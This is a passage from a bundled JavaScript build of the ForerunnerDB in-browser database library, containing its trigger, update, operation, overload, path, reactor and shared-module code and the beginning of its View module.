if (phases) {
for (i in phases) {
if (phases.hasOwnProperty(i)) {
triggers = phases[i];
// Loop triggers and set to enabled
for (k = 0; k < triggers.length; k++) {
triggers[k].enabled = true;
result = true;
}
}
}
}
return result;
},
'number, number': function (type, phase) {
// Alter all triggers of this type and phase
var self = this,
phases = self._trigger[type],
triggers,
result = false,
k;
if (phases) {
triggers = phases[phase];
if (triggers) {
// Loop triggers and set to enabled
for (k = 0; k < triggers.length; k++) {
triggers[k].enabled = true;
result = true;
}
}
}
return result;
},
'string, number, number': function (id, type, phase) {
// Check if the trigger already exists
var self = this,
triggerIndex = self._triggerIndexOf(id, type, phase);
if (triggerIndex > -1) {
// Update the trigger
self._trigger[type][phase][triggerIndex].enabled = true;
return true;
}
return false;
}
}),
disableTrigger: new Overload({
'string': function (id) {
// Alter all triggers of this type
var self = this,
types = self._trigger,
phases,
triggers,
result = false,
i, k, j;
if (types) {
for (j in types) {
if (types.hasOwnProperty(j)) {
phases = types[j];
if (phases) {
for (i in phases) {
if (phases.hasOwnProperty(i)) {
triggers = phases[i];
// Loop triggers and set enabled flag
for (k = 0; k < triggers.length; k++) {
if (triggers[k].id === id) {
triggers[k].enabled = false;
result = true;
}
}
}
}
}
}
}
}
return result;
},
'number': function (type) {
// Alter all triggers of this type
var self = this,
phases = self._trigger[type],
triggers,
result = false,
i, k;
if (phases) {
for (i in phases) {
if (phases.hasOwnProperty(i)) {
triggers = phases[i];
// Loop triggers and set to disabled
for (k = 0; k < triggers.length; k++) {
triggers[k].enabled = false;
result = true;
}
}
}
}
return result;
},
'number, number': function (type, phase) {
// Alter all triggers of this type and phase
var self = this,
phases = self._trigger[type],
triggers,
result = false,
k;
if (phases) {
triggers = phases[phase];
if (triggers) {
// Loop triggers and set to disabled
for (k = 0; k < triggers.length; k++) {
triggers[k].enabled = false;
result = true;
}
}
}
return result;
},
'string, number, number': function (id, type, phase) {
// Check if the trigger already exists
var self = this,
triggerIndex = self._triggerIndexOf(id, type, phase);
if (triggerIndex > -1) {
// Update the trigger
self._trigger[type][phase][triggerIndex].enabled = false;
return true;
}
return false;
}
}),
/**
* Checks if a trigger will fire based on the type and phase provided.
* @param {Number} type The type of operation. See Mixin.Constants for
* constants to use.
* @param {Number} phase The phase of the operation. See Mixin.Constants
* for constants to use.
* @returns {Boolean} True if the trigger will fire, false otherwise.
*/
willTrigger: function (type, phase) {
if (this._trigger && this._trigger[type] && this._trigger[type][phase] && this._trigger[type][phase].length) {
// Check if a trigger in this array is enabled
var arr = this._trigger[type][phase],
i;
for (i = 0; i < arr.length; i++) {
if (arr[i].enabled) {
return true;
}
}
}
return false;
},
/**
* Processes trigger actions based on the operation, type and phase.
* @param {Object} operation Operation data to pass to the trigger.
* @param {Number} type The type of operation. See Mixin.Constants for
* constants to use.
* @param {Number} phase The phase of the operation. See Mixin.Constants
* for constants to use.
* @param {Object} oldDoc The document snapshot before operations are
* carried out against the data.
* @param {Object} newDoc The document snapshot after operations are
* carried out against the data.
* @returns {boolean}
*/
processTrigger: function (operation, type, phase, oldDoc, newDoc) {
var self = this,
triggerArr,
triggerIndex,
triggerCount,
triggerItem,
response;
if (self._trigger && self._trigger[type] && self._trigger[type][phase]) {
triggerArr = self._trigger[type][phase];
triggerCount = triggerArr.length;
for (triggerIndex = 0; triggerIndex < triggerCount; triggerIndex++) {
triggerItem = triggerArr[triggerIndex];
// Check if the trigger is enabled
if (triggerItem.enabled) {
if (this.debug()) {
var typeName,
phaseName;
switch (type) {
case this.TYPE_INSERT:
typeName = 'insert';
break;
case this.TYPE_UPDATE:
typeName = 'update';
break;
case this.TYPE_REMOVE:
typeName = 'remove';
break;
default:
typeName = '';
break;
}
switch (phase) {
case this.PHASE_BEFORE:
phaseName = 'before';
break;
case this.PHASE_AFTER:
phaseName = 'after';
break;
default:
phaseName = '';
break;
}
//console.log('Triggers: Processing trigger "' + id + '" for ' + typeName + ' in phase "' + phaseName + '"');
}
// Run the trigger's method and store the response
response = triggerItem.method.call(self, operation, oldDoc, newDoc);
// Check the response for a non-expected result (anything other than
// undefined, true or false is considered a throwable error)
if (response === false) {
// The trigger wants us to cancel operations
return false;
}
if (response !== undefined && response !== true && response !== false) {
// Trigger responded with error, throw the error
throw('ForerunnerDB.Mixin.Triggers: Trigger error: ' + response);
}
}
}
// Triggers all ran without issue, return a success (true)
return true;
}
},
/**
* Returns the index of a trigger by id based on type and phase.
* @param {String} id The id of the trigger to find the index of.
* @param {Number} type The type of operation. See Mixin.Constants for
* constants to use.
* @param {Number} phase The phase of the operation. See Mixin.Constants
* for constants to use.
* @returns {number}
* @private
*/
_triggerIndexOf: function (id, type, phase) {
var self = this,
triggerArr,
triggerCount,
triggerIndex;
if (self._trigger && self._trigger[type] && self._trigger[type][phase]) {
triggerArr = self._trigger[type][phase];
triggerCount = triggerArr.length;
for (triggerIndex = 0; triggerIndex < triggerCount; triggerIndex++) {
if (triggerArr[triggerIndex].id === id) {
return triggerIndex;
}
}
}
return -1;
}
};
module.exports = Triggers;
},{"./Overload":22}],20:[function(_dereq_,module,exports){
"use strict";
var Updating = {
/**
* Updates a property on an object.
* @param {Object} doc The object whose property is to be updated.
* @param {String} prop The property to update.
* @param {*} val The new value of the property.
* @private
*/
_updateProperty: function (doc, prop, val) {
doc[prop] = val;
if (this.debug()) {
console.log('ForerunnerDB.Mixin.Updating: Setting non-data-bound document property "' + prop + '" for "' + this.name() + '"');
}
},
/**
* Increments a value for a property on a document by the passed number.
* @param {Object} doc The document to modify.
* @param {String} prop The property to modify.
* @param {Number} val The amount to increment by.
* @private
*/
_updateIncrement: function (doc, prop, val) {
doc[prop] += val;
},
/**
* Changes the index of an item in the passed array.
* @param {Array} arr The array to modify.
* @param {Number} indexFrom The index to move the item from.
* @param {Number} indexTo The index to move the item to.
* @private
*/
_updateSpliceMove: function (arr, indexFrom, indexTo) {
arr.splice(indexTo, 0, arr.splice(indexFrom, 1)[0]);
if (this.debug()) {
console.log('ForerunnerDB.Mixin.Updating: Moving non-data-bound document array index from "' + indexFrom + '" to "' + indexTo + '" for "' + this.name() + '"');
}
},
/**
* Inserts an item into the passed array at the specified index.
* @param {Array} arr The array to insert into.
* @param {Number} index The index to insert at.
* @param {Object} doc The document to insert.
* @private
*/
_updateSplicePush: function (arr, index, doc) {
if (arr.length > index) {
arr.splice(index, 0, doc);
} else {
arr.push(doc);
}
},
/**
* Inserts an item at the end of an array.
* @param {Array} arr The array to insert the item into.
* @param {Object} doc The document to insert.
* @private
*/
_updatePush: function (arr, doc) {
arr.push(doc);
},
/**
* Removes an item from the passed array.
* @param {Array} arr The array to modify.
* @param {Number} index The index of the item in the array to remove.
* @private
*/
_updatePull: function (arr, index) {
arr.splice(index, 1);
},
/**
* Multiplies a value for a property on a document by the passed number.
* @param {Object} doc The document to modify.
* @param {String} prop The property to modify.
* @param {Number} val The amount to multiply by.
* @private
*/
_updateMultiply: function (doc, prop, val) {
doc[prop] *= val;
},
/**
* Renames a property on a document to the passed property.
* @param {Object} doc The document to modify.
* @param {String} prop The property to rename.
* @param {Number} val The new property name.
* @private
*/
_updateRename: function (doc, prop, val) {
doc[val] = doc[prop];
delete doc[prop];
},
/**
* Sets a property on a document to the passed value.
* @param {Object} doc The document to modify.
* @param {String} prop The property to delete.
* @param {*} val The new property value.
* @private
*/
_updateOverwrite: function (doc, prop, val) {
doc[prop] = val;
},
/**
* Deletes a property on a document.
* @param {Object} doc The document to modify.
* @param {String} prop The property to delete.
* @private
*/
_updateUnset: function (doc, prop) {
delete doc[prop];
},
/**
* Removes all properties from an object without destroying
* the object instance, thereby maintaining data-bound linking.
* @param {Object} doc The parent object to modify.
* @param {String} prop The name of the child object to clear.
* @private
*/
_updateClear: function (doc, prop) {
var obj = doc[prop],
i;
if (obj && typeof obj === 'object') {
for (i in obj) {
if (obj.hasOwnProperty(i)) {
this._updateUnset(obj, i);
}
}
}
},
/**
* Pops an item from the array stack.
* @param {Object} doc The document to modify.
* @param {Number=} val Optional, if set to 1 will pop, if set to -1 will shift.
* @return {Boolean}
* @private
*/
_updatePop: function (doc, val) {
var updated = false;
if (doc.length > 0) {
if (val === 1) {
doc.pop();
updated = true;
} else if (val === -1) {
doc.shift();
updated = true;
}
}
return updated;
}
};
module.exports = Updating;
},{}],21:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared'),
Path = _dereq_('./Path');
/**
* The operation class, used to store details about an operation being
* performed by the database.
* @param {String} name The name of the operation.
* @constructor
*/
var Operation = function (name) {
this.pathSolver = new Path();
this.counter = 0;
this.init.apply(this, arguments);
};
Operation.prototype.init = function (name) {
this._data = {
operation: name, // The name of the operation executed such as "find", "update" etc
index: {
potential: [], // Indexes that could have potentially been used
used: false // The index that was picked to use
},
steps: [], // The steps taken to generate the query results,
time: {
startMs: 0,
stopMs: 0,
totalMs: 0,
process: {}
},
flag: {}, // An object with flags that denote certain execution paths
log: [] // Any extra data that might be useful such as warnings or helpful hints
};
};
Shared.addModule('Operation', Operation);
Shared.mixin(Operation.prototype, 'Mixin.ChainReactor');
/**
* Starts the operation timer.
*/
Operation.prototype.start = function () {
this._data.time.startMs = new Date().getTime();
};
/**
* Adds an item to the operation log.
* @param {String} event The item to log.
* @returns {*}
*/
Operation.prototype.log = function (event) {
if (event) {
var lastLogTime = this._log.length > 0 ? this._data.log[this._data.log.length - 1].time : 0,
logObj = {
event: event,
time: new Date().getTime(),
delta: 0
};
this._data.log.push(logObj);
if (lastLogTime) {
logObj.delta = logObj.time - lastLogTime;
}
return this;
}
return this._data.log;
};
/**
* Called when starting and ending a timed operation, used to time
* internal calls within an operation's execution.
* @param {String} section An operation name.
* @returns {*}
*/
Operation.prototype.time = function (section) {
if (section !== undefined) {
var process = this._data.time.process,
processObj = process[section] = process[section] || {};
if (!processObj.startMs) {
// Timer started
processObj.startMs = new Date().getTime();
processObj.stepObj = {
name: section
};
this._data.steps.push(processObj.stepObj);
} else {
processObj.stopMs = new Date().getTime();
processObj.totalMs = processObj.stopMs - processObj.startMs;
processObj.stepObj.totalMs = processObj.totalMs;
delete processObj.stepObj;
}
return this;
}
return this._data.time;
};
/**
* Used to set key/value flags during operation execution.
* @param {String} key
* @param {String} val
* @returns {*}
*/
Operation.prototype.flag = function (key, val) {
if (key !== undefined && val !== undefined) {
this._data.flag[key] = val;
} else if (key !== undefined) {
return this._data.flag[key];
} else {
return this._data.flag;
}
};
Operation.prototype.data = function (path, val, noTime) {
if (val !== undefined) {
// Assign value to object path
this.pathSolver.set(this._data, path, val);
return this;
}
return this.pathSolver.get(this._data, path);
};
Operation.prototype.pushData = function (path, val, noTime) {
// Assign value to object path
this.pathSolver.push(this._data, path, val);
};
/**
* Stops the operation timer.
*/
Operation.prototype.stop = function () {
this._data.time.stopMs = new Date().getTime();
this._data.time.totalMs = this._data.time.stopMs - this._data.time.startMs;
};
Shared.finishModule('Operation');
module.exports = Operation;
},{"./Path":23,"./Shared":25}],22:[function(_dereq_,module,exports){
"use strict";
/**
* Allows a method to accept overloaded calls with different parameters controlling
* which passed overload function is called.
* @param {Object} def
* @returns {Function}
* @constructor
*/
var Overload = function (def) {
if (def) {
var self = this,
index,
count,
tmpDef,
defNewKey,
sigIndex,
signatures;
if (!(def instanceof Array)) {
tmpDef = {};
// Def is an object, make sure all prop names are devoid of spaces
for (index in def) {
if (def.hasOwnProperty(index)) {
defNewKey = index.replace(/ /g, '');
// Check if the definition array has a * string in it
if (defNewKey.indexOf('*') === -1) {
// No * found
tmpDef[defNewKey] = def[index];
} else {
// A * was found, generate the different signatures that this
// definition could represent
signatures = this.generateSignaturePermutations(defNewKey);
for (sigIndex = 0; sigIndex < signatures.length; sigIndex++) {
if (!tmpDef[signatures[sigIndex]]) {
tmpDef[signatures[sigIndex]] = def[index];
}
}
}
}
}
def = tmpDef;
}
return function () {
var arr = [],
lookup,
type;
// Check if we are being passed a key/function object or an array of functions
if (def instanceof Array) {
// We were passed an array of functions
count = def.length;
for (index = 0; index < count; index++) {
if (def[index].length === arguments.length) {
return self.callExtend(this, '$main', def, def[index], arguments);
}
}
} else {
// Generate lookup key from arguments
// Copy arguments to an array
for (index = 0; index < arguments.length; index++) {
type = typeof arguments[index];
// Handle detecting arrays
if (type === 'object' && arguments[index] instanceof Array) {
type = 'array';
}
// Handle been presented with a single undefined argument
if (arguments.length === 1 && type === 'undefined') {
break;
}
// Add the type to the argument types array
arr.push(type);
}
lookup = arr.join(',');
// Check for an exact lookup match
if (def[lookup]) {
return self.callExtend(this, '$main', def, def[lookup], arguments);
} else {
for (index = arr.length; index >= 0; index--) {
// Get the closest match
lookup = arr.slice(0, index).join(',');
if (def[lookup + ',...']) {
// Matched against arguments + "any other"
return self.callExtend(this, '$main', def, def[lookup + ',...'], arguments);
}
}
}
}
throw('ForerunnerDB.Overload "' + this.name() + '": Overloaded method does not have a matching signature for the passed arguments: ' + JSON.stringify(arr));
};
}
return function () {};
};
/**
* Generates an array of all the different definition signatures that can be
* created from the passed string with a catch-all wildcard *. E.g. it will
* convert the signature: string,*,string to all potentials:
* string,string,string
* string,number,string
* string,object,string,
* string,function,string,
* string,undefined,string
*
* @param {String} str Signature string with a wildcard in it.
* @returns {Array} An array of signature strings that are generated.
*/
Overload.prototype.generateSignaturePermutations = function (str) {
var signatures = [],
newSignature,
types = ['string', 'object', 'number', 'function', 'undefined'],
index;
if (str.indexOf('*') > -1) {
// There is at least one "any" type, break out into multiple keys
// We could do this at query time with regular expressions but
// would be significantly slower
for (index = 0; index < types.length; index++) {
newSignature = str.replace('*', types[index]);
signatures = signatures.concat(this.generateSignaturePermutations(newSignature));
}
} else {
signatures.push(str);
}
return signatures;
};
Overload.prototype.callExtend = function (context, prop, propContext, func, args) {
var tmp,
ret;
if (context && propContext[prop]) {
tmp = context[prop];
context[prop] = propContext[prop];
ret = func.apply(context, args);
context[prop] = tmp;
return ret;
} else {
return func.apply(context, args);
}
};
module.exports = Overload;
},{}],23:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared');
/**
* Path object used to resolve object paths and retrieve data from
* objects by using paths.
* @param {String=} path The path to assign.
* @constructor
*/
var Path = function (path) {
this.init.apply(this, arguments);
};
Path.prototype.init = function (path) {
if (path) {
this.path(path);
}
};
Shared.addModule('Path', Path);
Shared.mixin(Path.prototype, 'Mixin.ChainReactor');
/**
* Gets / sets the given path for the Path instance.
* @param {String=} path The path to assign.
*/
Path.prototype.path = function (path) {
if (path !== undefined) {
this._path = this.clean(path);
this._pathParts = this._path.split('.');
return this;
}
return this._path;
};
/**
* Tests if the passed object has the paths that are specified and that
* a value exists in those paths.
* @param {Object} testKeys The object describing the paths to test for.
* @param {Object} testObj The object to test paths against.
* @returns {Boolean} True if the object paths exist.
*/
Path.prototype.hasObjectPaths = function (testKeys, testObj) {
var result = true,
i;
for (i in testKeys) {
if (testKeys.hasOwnProperty(i)) {
if (testObj[i] === undefined) {
return false;
}
if (typeof testKeys[i] === 'object') {
// Recurse object
result = this.hasObjectPaths(testKeys[i], testObj[i]);
// Should we exit early?
if (!result) {
return false;
}
}
}
}
return result;
};
/**
* Counts the total number of key endpoints in the passed object.
* @param {Object} testObj The object to count key endpoints for.
* @returns {Number} The number of endpoints.
*/
Path.prototype.countKeys = function (testObj) {
var totalKeys = 0,
i;
for (i in testObj) {
if (testObj.hasOwnProperty(i)) {
if (testObj[i] !== undefined) {
if (typeof testObj[i] !== 'object') {
totalKeys++;
} else {
totalKeys += this.countKeys(testObj[i]);
}
}
}
}
return totalKeys;
};
/**
* Tests if the passed object has the paths that are specified and that
* a value exists in those paths and if so returns the number matched.
* @param {Object} testKeys The object describing the paths to test for.
* @param {Object} testObj The object to test paths against.
* @returns {Object} Stats on the matched keys
*/
Path.prototype.countObjectPaths = function (testKeys, testObj) {
var matchData,
matchedKeys = {},
matchedKeyCount = 0,
totalKeyCount = 0,
i;
for (i in testObj) {
if (testObj.hasOwnProperty(i)) {
if (typeof testObj[i] === 'object') {
// The test / query object key is an object, recurse
matchData = this.countObjectPaths(testKeys[i], testObj[i]);
matchedKeys[i] = matchData.matchedKeys;
totalKeyCount += matchData.totalKeyCount;
matchedKeyCount += matchData.matchedKeyCount;
} else {
// The test / query object has a property that is not an object so add it as a key
totalKeyCount++;
// Check if the test keys also have this key and it is also not an object
if (testKeys && testKeys[i] && typeof testKeys[i] !== 'object') {
matchedKeys[i] = true;
matchedKeyCount++;
} else {
matchedKeys[i] = false;
}
}
}
}
return {
matchedKeys: matchedKeys,
matchedKeyCount: matchedKeyCount,
totalKeyCount: totalKeyCount
};
};
/**
* Takes a non-recursive object and converts the object hierarchy into
* a path string.
* @param {Object} obj The object to parse.
* @param {Boolean=} withValue If true will include a 'value' key in the returned
* object that represents the value the object path points to.
* @returns {Object}
*/
Path.prototype.parse = function (obj, withValue) {
var paths = [],
path = '',
resultData,
i, k;
for (i in obj) {
if (obj.hasOwnProperty(i)) {
// Set the path to the key
path = i;
if (typeof(obj[i]) === 'object') {
if (withValue) {
resultData = this.parse(obj[i], withValue);
for (k = 0; k < resultData.length; k++) {
paths.push({
path: path + '.' + resultData[k].path,
value: resultData[k].value
});
}
} else {
resultData = this.parse(obj[i]);
for (k = 0; k < resultData.length; k++) {
paths.push({
path: path + '.' + resultData[k].path
});
}
}
} else {
if (withValue) {
paths.push({
path: path,
value: obj[i]
});
} else {
paths.push({
path: path
});
}
}
}
}
return paths;
};
/**
* Takes a non-recursive object and converts the object hierarchy into
* an array of path strings that allow you to target all possible paths
* in an object.
*
* @returns {Array}
*/
Path.prototype.parseArr = function (obj, options) {
options = options || {};
return this._parseArr(obj, '', [], options);
};
Path.prototype._parseArr = function (obj, path, paths, options) {
var i,
newPath = '';
path = path || '';
paths = paths || [];
for (i in obj) {
if (obj.hasOwnProperty(i)) {
if (!options.ignore || (options.ignore && !options.ignore.test(i))) {
if (path) {
newPath = path + '.' + i;
} else {
newPath = i;
}
if (typeof(obj[i]) === 'object') {
this._parseArr(obj[i], newPath, paths, options);
} else {
paths.push(newPath);
}
}
}
}
return paths;
};
/**
* Gets the value(s) that the object contains for the currently assigned path string.
* @param {Object} obj The object to evaluate the path against.
* @param {String=} path A path to use instead of the existing one passed in path().
* @returns {Array} An array of values for the given path.
*/
Path.prototype.value = function (obj, path) {
if (obj !== undefined && typeof obj === 'object') {
var pathParts,
arr,
arrCount,
objPart,
objPartParent,
valuesArr = [],
i, k;
if (path !== undefined) {
path = this.clean(path);
pathParts = path.split('.');
}
arr = pathParts || this._pathParts;
arrCount = arr.length;
objPart = obj;
for (i = 0; i < arrCount; i++) {
objPart = objPart[arr[i]];
if (objPartParent instanceof Array) {
// Search inside the array for the next key
for (k = 0; k < objPartParent.length; k++) {
valuesArr = valuesArr.concat(this.value(objPartParent, k + '.' + arr[i]));
}
return valuesArr;
} else {
if (!objPart || typeof(objPart) !== 'object') {
break;
}
}
objPartParent = objPart;
}
return [objPart];
} else {
return [];
}
};
/**
* Sets a value on an object for the specified path.
* @param {Object} obj The object to update.
* @param {String} path The path to update.
* @param {*} val The value to set the object path to.
* @returns {*}
*/
Path.prototype.set = function (obj, path, val) {
if (obj !== undefined && path !== undefined) {
var pathParts,
part;
path = this.clean(path);
pathParts = path.split('.');
part = pathParts.shift();
if (pathParts.length) {
// Generate the path part in the object if it does not already exist
obj[part] = obj[part] || {};
// Recurse
this.set(obj[part], pathParts.join('.'), val);
} else {
// Set the value
obj[part] = val;
}
}
return obj;
};
Path.prototype.get = function (obj, path) {
return this.value(obj, path)[0];
};
/**
* Push a value to an array on an object for the specified path.
* @param {Object} obj The object to update.
* @param {String} path The path to the array to push to.
* @param {*} val The value to push to the array at the object path.
* @returns {*}
*/
Path.prototype.push = function (obj, path, val) {
if (obj !== undefined && path !== undefined) {
var pathParts,
part;
path = this.clean(path);
pathParts = path.split('.');
part = pathParts.shift();
if (pathParts.length) {
// Generate the path part in the object if it does not already exist
obj[part] = obj[part] || {};
// Recurse
this.set(obj[part], pathParts.join('.'), val);
} else {
// Set the value
obj[part] = obj[part] || [];
if (obj[part] instanceof Array) {
obj[part].push(val);
} else {
throw('ForerunnerDB.Path: Cannot push to a path whose endpoint is not an array!');
}
}
}
return obj;
};
/**
* Gets the value(s) that the object contains for the currently assigned path string
* with their associated keys.
* @param {Object} obj The object to evaluate the path against.
* @param {String=} path A path to use instead of the existing one passed in path().
* @returns {Array} An array of values for the given path with the associated key.
*/
Path.prototype.keyValue = function (obj, path) {
var pathParts,
arr,
arrCount,
objPart,
objPartParent,
objPartHash,
i;
if (path !== undefined) {
path = this.clean(path);
pathParts = path.split('.');
}
arr = pathParts || this._pathParts;
arrCount = arr.length;
objPart = obj;
for (i = 0; i < arrCount; i++) {
objPart = objPart[arr[i]];
if (!objPart || typeof(objPart) !== 'object') {
objPartHash = arr[i] + ':' + objPart;
break;
}
objPartParent = objPart;
}
return objPartHash;
};
/**
* Removes leading period (.) from string and returns it.
* @param {String} str The string to clean.
* @returns {*}
*/
Path.prototype.clean = function (str) {
if (str.substr(0, 1) === '.') {
str = str.substr(1, str.length -1);
}
return str;
};
Shared.finishModule('Path');
module.exports = Path;
},{"./Shared":25}],24:[function(_dereq_,module,exports){
"use strict";
var Shared = _dereq_('./Shared');
var ReactorIO = function (reactorIn, reactorOut, reactorProcess) {
if (reactorIn && reactorOut && reactorProcess) {
this._reactorIn = reactorIn;
this._reactorOut = reactorOut;
this._chainHandler = reactorProcess;
if (!reactorIn.chain || !reactorOut.chainReceive) {
throw('ForerunnerDB.ReactorIO: ReactorIO requires passed in and out objects to implement the ChainReactor mixin!');
}
// Register the reactorIO with the input
reactorIn.chain(this);
// Register the output with the reactorIO
this.chain(reactorOut);
} else {
throw('ForerunnerDB.ReactorIO: ReactorIO requires in, out and process arguments to instantiate!');
}
};
Shared.addModule('ReactorIO', ReactorIO);
ReactorIO.prototype.drop = function () {
if (this._state !== 'dropped') {
this._state = 'dropped';
// Remove links
if (this._reactorIn) {
this._reactorIn.unChain(this);
}
if (this._reactorOut) {
this.unChain(this._reactorOut);
}
delete this._reactorIn;
delete this._reactorOut;
delete this._chainHandler;
this.emit('drop', this);
}
return true;
};
/**
* Gets / sets the current state.
* @param {String=} val The name of the state to set.
* @returns {*}
*/
Shared.synthesize(ReactorIO.prototype, 'state');
Shared.mixin(ReactorIO.prototype, 'Mixin.ChainReactor');
Shared.mixin(ReactorIO.prototype, 'Mixin.Events');
Shared.finishModule('ReactorIO');
module.exports = ReactorIO;
},{"./Shared":25}],25:[function(_dereq_,module,exports){
"use strict";
/**
* A shared object that can be used to store arbitrary data between class
* instances, and access helper methods.
* @mixin
*/
var Shared = {
version: '1.3.57',
modules: {},
_synth: {},
/**
* Adds a module to ForerunnerDB.
* @memberof Shared
* @param {String} name The name of the module.
* @param {Function} module The module class.
*/
addModule: function (name, module) {
this.modules[name] = module;
this.emit('moduleLoad', [name, module]);
},
/**
* Called by the module once all processing has been completed. Used to determine
* if the module is ready for use by other modules.
* @memberof Shared
* @param {String} name The name of the module.
*/
finishModule: function (name) {
if (this.modules[name]) {
this.modules[name]._fdbFinished = true;
this.emit('moduleFinished', [name, this.modules[name]]);
} else {
throw('ForerunnerDB.Shared: finishModule called on a module that has not been registered with addModule(): ' + name);
}
},
/**
* Will call your callback method when the specified module has loaded. If the module
* is already loaded the callback is called immediately.
* @memberof Shared
* @param {String} name The name of the module.
* @param {Function} callback The callback method to call when the module is loaded.
*/
moduleFinished: function (name, callback) {
if (this.modules[name] && this.modules[name]._fdbFinished) {
if (callback) { callback(name, this.modules[name]); }
} else {
this.on('moduleFinished', callback);
}
},
/**
* Determines if a module has been added to ForerunnerDB or not.
* @memberof Shared
* @param {String} name The name of the module.
* @returns {Boolean} True if the module exists or false if not.
*/
moduleExists: function (name) {
return Boolean(this.modules[name]);
},
/**
* Adds the properties and methods defined in the mixin to the passed object.
* @memberof Shared
* @param {Object} obj The target object to add mixin key/values to.
* @param {String} mixinName The name of the mixin to add to the object.
*/
mixin: function (obj, mixinName) {
var system = this.mixins[mixinName];
if (system) {
for (var i in system) {
if (system.hasOwnProperty(i)) {
obj[i] = system[i];
}
}
} else {
throw('ForerunnerDB.Shared: Cannot find mixin named: ' + mixinName);
}
},
/**
* Generates a generic getter/setter method for the passed method name.
* @memberof Shared
* @param {Object} obj The object to add the getter/setter to.
* @param {String} name The name of the getter/setter to generate.
* @param {Function=} extend A method to call before executing the getter/setter.
* The existing getter/setter can be accessed from the extend method via the
* $super e.g. this.$super();
*/
synthesize: function (obj, name, extend) {
this._synth[name] = this._synth[name] || function (val) {
if (val !== undefined) {
this['_' + name] = val;
return this;
}
return this['_' + name];
};
if (extend) {
var self = this;
obj[name] = function () {
var tmp = this.$super,
ret;
this.$super = self._synth[name];
ret = extend.apply(this, arguments);
this.$super = tmp;
return ret;
};
} else {
obj[name] = this._synth[name];
}
},
/**
* Allows a method to be overloaded.
* @memberof Shared
* @param arr
* @returns {Function}
* @constructor
*/
overload: _dereq_('./Overload'),
/**
* Define the mixins that other modules can use as required.
* @memberof Shared
*/
mixins: {
'Mixin.Common': _dereq_('./Mixin.Common'),
'Mixin.Events': _dereq_('./Mixin.Events'),
'Mixin.ChainReactor': _dereq_('./Mixin.ChainReactor'),
'Mixin.CRUD': _dereq_('./Mixin.CRUD'),
'Mixin.Constants': _dereq_('./Mixin.Constants'),
'Mixin.Triggers': _dereq_('./Mixin.Triggers'),
'Mixin.Sorting': _dereq_('./Mixin.Sorting'),
'Mixin.Matching': _dereq_('./Mixin.Matching'),
'Mixin.Updating': _dereq_('./Mixin.Updating')
}
};
// Add event handling to shared
Shared.mixin(Shared, 'Mixin.Events');
module.exports = Shared;
},{"./Mixin.CRUD":12,"./Mixin.ChainReactor":13,"./Mixin.Common":14,"./Mixin.Constants":15,"./Mixin.Events":16,"./Mixin.Matching":17,"./Mixin.Sorting":18,"./Mixin.Triggers":19,"./Mixin.Updating":20,"./Overload":22}],26:[function(_dereq_,module,exports){
"use strict";
// Import external names locally
var Shared,
Db,
Collection,
CollectionGroup,
CollectionInit,
DbInit,
ReactorIO,
ActiveBucket;
Shared = _dereq_('./Shared');
/**
* Creates a new view instance.
* @param {String} name The name of the view.
* @param {Object=} query The view's query.
* @param {Object=} options An options object.
* @constructor
*/
var View = function (name, query, options) {
this.init.apply(this, arguments);
};
View.prototype.init = function (name, query, options) {
var self = this;
this._name = name;
this._listeners = {};
this._querySettings = {};
this._debug = {};
this.query(query, false);
this.queryOptions(options, false);
this._collectionDroppedWrap = function () {
self._collectionDropped.apply(self, arguments);
};
this._privateData = new Collection('__FDB__view_privateData_' + this._name);
};
Shared.addModule('View', View);
Shared.mixin(View.prototype, 'Mixin.Common');
Shared.mixin(View.prototype, 'Mixin.ChainReactor');
Shared.mixin(View.prototype, 'Mixin.Constants');
Shared.mixin(View.prototype, 'Mixin.Triggers');
Collection = _dereq_('./Collection');
CollectionGroup = _dereq_('./CollectionGroup');
ActiveBucket = _dereq_('./ActiveBucket');
ReactorIO = _dereq_('./ReactorIO');
CollectionInit = Collection.prototype.init;
Db = Shared.modules.Db;
DbInit = Db.prototype.init;
/**
* Gets / sets the current state.
* @param {String=} val The name of the state to set.
* @returns {*}
*/
Shared.synthesize(View.prototype, 'state');
/**
* Gets / sets the current name.
* @param {String=} val The new name to set.
* @returns {*}
*/
Shared.synthesize(View.prototype, 'name');
/**
* Gets / sets the current cursor.
* @param {String=} val The new cursor to set.
* @returns {*}
*/
Shared.synthesize(View.prototype, 'cursor', function (val) {
if (val === undefined) {
return this._cursor || {};
}
this.$super.apply(this, arguments);
});
/**
* Executes an insert against the view's underlying data-source.
* @see Collection::insert()
*/
View.prototype.insert = function () {
this._from.insert.apply(this._from, arguments);
};
/**
* Executes an update against the view's underlying data-source.
* @see Collection::update()
*/
View.prototype.update = function () {
this._from.update.apply(this._from, arguments);
};
/**
* Executes an updateById against the view's underlying data-source.
* @see Collection::updateById()
*/
View.prototype.updateById = function () {
this._from.updateById.apply(this._from, arguments);
};
/**
* Executes a remove against the view's underlying data-source.
* @see Collection::remove()
*/
View.prototype.remove = function () {
this._from.remove.apply(this._from, arguments);
};
/**
* Queries the view data.
* @see Collection::find()
* @returns {Array} The result of the find query.
*/
View.prototype.find = function (query, options) {
return this.publicData().find(query, options);
};
/**
* Gets the module's internal data collection.
* @returns {Collection}
*/
View.prototype.data = function () {
return this._privateData;
};
/**
* Sets the collection from which the view will assemble its data.
* @param {Collection} collection The collection to use to assemble view data.
* @returns {View}
*/
View.prototype.from = function (collection) {
var self = this;
if (collection !== undefined) {
// Check if we have an existing from
if (this._from) {
// Remove the listener to the drop event
this._from.off('drop', this._collectionDroppedWrap);
delete this._from;
}
if (typeof(collection) === 'string') {
collection = this._db.collection(collection);
}
this._from = collection;
this._from.on('drop', this._collectionDroppedWrap);
// Create a new reactor IO graph node that intercepts chain packets from the
// view's "from" collection and determines how they should be interpreted by
// this view. If the view does not have a query then this reactor IO will
// simply pass along the chain packet without modifying it.
this._io = new ReactorIO(collection, this, function (chainPacket) {
var data,
diff,
query,
filteredData,
doSend,
pk,
i;
// Check if we have a constraining query
if (self._querySettings.query) {
if (chainPacket.type === 'insert') {
data = chainPacket.data;
// Check if the data matches our query
if (data instanceof Array) {
filteredData = [];
for (i = 0; i < data.length; i++) {
if (self._privateData._match(data[i], self._querySettings.query, 'and', {})) {
filteredData.push(data[i]);
doSend = true;
}
}
} else {
if (self._privateData._match(data, self._querySettings.query, 'and', {})) {
filteredData = data;
doSend = true;
}
}
if (doSend) {
this.chainSend('insert', filteredData);
}
return true;
}
if (chainPacket.type === 'update') {
// Do a DB diff between this view's data and the underlying collection it reads from
// to see if something has changed
